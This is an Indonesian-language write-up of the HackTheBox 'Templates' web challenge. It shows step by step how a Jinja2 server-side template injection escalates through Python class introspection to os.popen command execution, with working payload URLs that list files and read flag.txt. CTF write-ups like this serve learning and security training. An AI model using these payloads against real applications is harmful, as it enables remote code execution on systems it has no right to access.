HTB Web Templates Writeup
2024-07-23
CTF Name : HackTheBox Challenges
Challenge category : Web
Challenge Name : Templates
Challenge points : 0 Points — Easy
Challenge desc : Can you exploit this simple mistake?
Berikut adalah isi dari web instancenya.
Dari page tersebut, kita dapat ambil informasi bahwa web tersebut menggunakan Flask/Jinja2. Yang mana kalau kita search di google tentang Jinja2, kita akan menemukan informasi baru.
Jinja merupakan sebuah template engine web yang terbuat dari python, cara kerjanya adalah merender text/variabel menjadi HTML. Apabila Jinja tidak dikonfigurasi security-nya dengan baik, maka Jinja bisa rentan terhadap SSTI (Server-Side Template Injection).
Untuk bacaan tentang SSTI bisa di Hacktricks.
Langsung saja kita kerjakan, kita lakukan pengetesan vuln Jinja dengan variabel name.
Ternyata, tidak terdapat perubahan apa-apa dengan variabel name. Kita akan coba untuk langsung memasukkan SSTI-nya sebagai direktori, contohnya seperti ini.
http://host:port/{{7*7}}
Dan ternyata bisa. Untuk pengujian lebih lanjutnya kita bisa mengikuti Hacktricks. Berhubung Jinja ini terbuat dari python, maka kita bisa memasukkan juga program Python untuk exploit SSTInya. Kita akan menggunakan builtins function ‘import’, ‘mro’, dan ‘subclasses’ untuk mengakses setiap class yang diload di program python saat ini.
Untuk awalan exploitnya, kita akan menggunakan string class terlebih dahulu kemudian bertahap memodifikasi exploitnya sesuai dengan kasus yang ada.
http://host:port/{{"".__class__.__mro__[1]}}
Kita tambahkan subclasses untuk melihat list subclass yang dapat diakses dari object.
http://host:port/{{"".__class__.__mro__[1].__subclasses__()}}
Berikut adalah outputnya.
Output di atas adalah list class yang dapat kita akses, selanjutnya kita gunakan class yang terdapat function import di dalamnya.
http://host:port/{{"".__class__.__mro__[1].__subclasses__()[186].__init__.__globals__["__builtins__"]["__import__"]}}
Dari error di atas, dapat kita lihat bahwa function import dapat kita akses. Selanjutnya adalah kita akan meng-import os, lalu kita panggil ‘popen()’ yang akan mengeksekusi command dan kita panggil ‘read()’ untuk menampilkan outputnya.
http://host:port/{{"".__class__.__mro__[1].__subclasses__()[186].__init__.__globals__["__builtins__"]["__import__"]("os").popen("ls").read()}}
Sudah terlihat flag.txtnya, tinggal kita tampilkan dengan cat.
http://host:port/{{"".__class__.__mro__[1].__subclasses__()[186].__init__.__globals__["__builtins__"]["__import__"]("os").popen("cat flag.txt").read()}}
Thank you:)